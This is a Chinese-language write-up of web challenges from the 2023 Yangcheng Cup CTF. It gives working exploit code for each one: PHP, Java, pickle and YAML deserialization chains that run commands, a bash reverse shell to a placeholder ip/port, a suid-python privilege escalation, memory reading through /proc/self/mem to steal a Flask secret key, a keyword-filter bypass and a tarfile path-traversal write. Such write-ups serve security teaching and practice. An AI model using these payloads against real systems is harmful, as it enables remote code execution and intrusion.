2023羊城杯wp

D0n't pl4y g4m3!!!

PHP<=7.4.21 Development Server源码泄露漏洞获取源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
        call_user_func('system', "cat /flag");
    }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                //call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;

    public function __construct(){
        $this->finish = true;
    }
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

$a = new Bei();
$b = new Yang();
$c = new Cheng();
$d = new Yang();
$a->CTF = $b;
$b->finish = $c;
$c->name = array("finish"=>"a");
$a->fine = $d;
$d->finish1=$c;
$d->finish = $c;
$d->now = array("YCB1"=>"system");
$a->rce = "cat /tmp/*";
echo urlencode(serialize($a));

?>

然后使用十六进制绕过关键字

Serpent

www.zip获取源码:

通过session中的secret_key伪造session:

image-20230905094834489

访问/src0de获取另一部分源码,主要是pickle反序列化:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import base64
import requests

url = "xxxx"
data = """(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
system
."""
cookie = {
        "pick1e": base64.b64encode(data.encode()).decode()
}
res = requests.get(url,cookies=cookie)
print(res.text)

然后发现python3.8有suid权限,可用于提权:

1
2
3
import os
os.setuid(0)
os.popen("chmod 777 /flag")

ez_java

反序列化写文件覆盖模板造成命令执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class Exp {
    public static void main(String[] args) throws Exception{
        HtmlMap htmlMap = new HtmlMap();
        htmlMap.filename="index.ftl";
        htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}\n";
        HtmlInvocationHandler hih = new HtmlInvocationHandler();
        hih.obj = htmlMap;
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, hih);
        Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class,proxyMap);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        new ObjectOutputStream(bos).writeObject(handler);
        String paylaod = new String(
                Base64.getEncoder().encode(bos.toByteArray())
        );
        System.out.println(paylaod);
    }
}

ArkNights

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
    name=request.args.get("name","name")
    m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
    if(session.get("name")=="Dr.Boog1pop"):
        blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
        if blacklist:
            return "bad hacker no way"
        exec(f'for [{name}] in [{m1sery}]:print("strange?")')
    else:
        session['name'] = "Doctor"
    return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
        file = request.args.get('file')
        fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
        if fileblacklist:
            return "bad hacker!"
        start=request.args.get("start","0")
        end=request.args.get("end","0")
        if start=="0" and end=="0":
            return open(file,"rb").read()
        else:
            start,end=int(start),int(end)
            f=open(file,"rb")
            f.seek(start)
            data=f.read(end)
            return data
@app.route("/<path:path>")
def render_page(path):
    print(os.path.pardir)
    print(path)
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)
if __name__=='__main__':
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

正常思路是通过目录穿越读取/proc/self/maps获取secret_key

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests, re

url = "xxxxxx"
maps_url = f"{url}/read?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
for m in maps:
    start, end = m.split("-")[0], m.split("-")[1]
    Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
    read_url = f"{url}/read?file=/proc/self/mem&start={Offset}&end={Length}"
    s = requests.get(read_url).content
    rt = re.findall(b"[a-z0-9]{8}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{12}Boogipopisweak", s)
    if rt:
        print(rt)

伪造session:

image-20230905095817671

然后到下一步得绕过exec的命令注入

1
2
3
4
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
    return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')

大概是一个类似SSTI的场景,但是得绕过一些关键字:

1
2
3
4
5
6
7
8
9
def func(s):
    ss = ""
    for i in s:
        ss+= f"chr({ord(i)})%2b"
    return ss[:-3]
cmd = "open -a Calculator.app"
name = f"().__class__.__base__.__subclasses__().__getitem__(135).__init__.__getattribute__({func('__globals__')}).__getitem__({func('sys')}).modules.__getitem__({func('os')}).popen({func(cmd)}).read"
name = f"__import__({func('os')}).popen({func(cmd)}).read"
print(name)

本地打的效果如下:

image-20230905120408368

还有一种思路是可以在session中放关键字然后用session.get(1)绕过引号过滤。

ezyaml

tarfile解压导致的目录穿越

1
2
3
4
import tarfile

tf = tarfile.TarFile("tmp/a.tar.gz", "w")
tf.add("../../config/a.yaml")

之后通过yaml反序列化+写模板获取回显:

1
2
3
4
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - [ __import__('os').system('cat /fllaagg_here > templates/admin.html') ]
updatedupdated2023-09-052023-09-05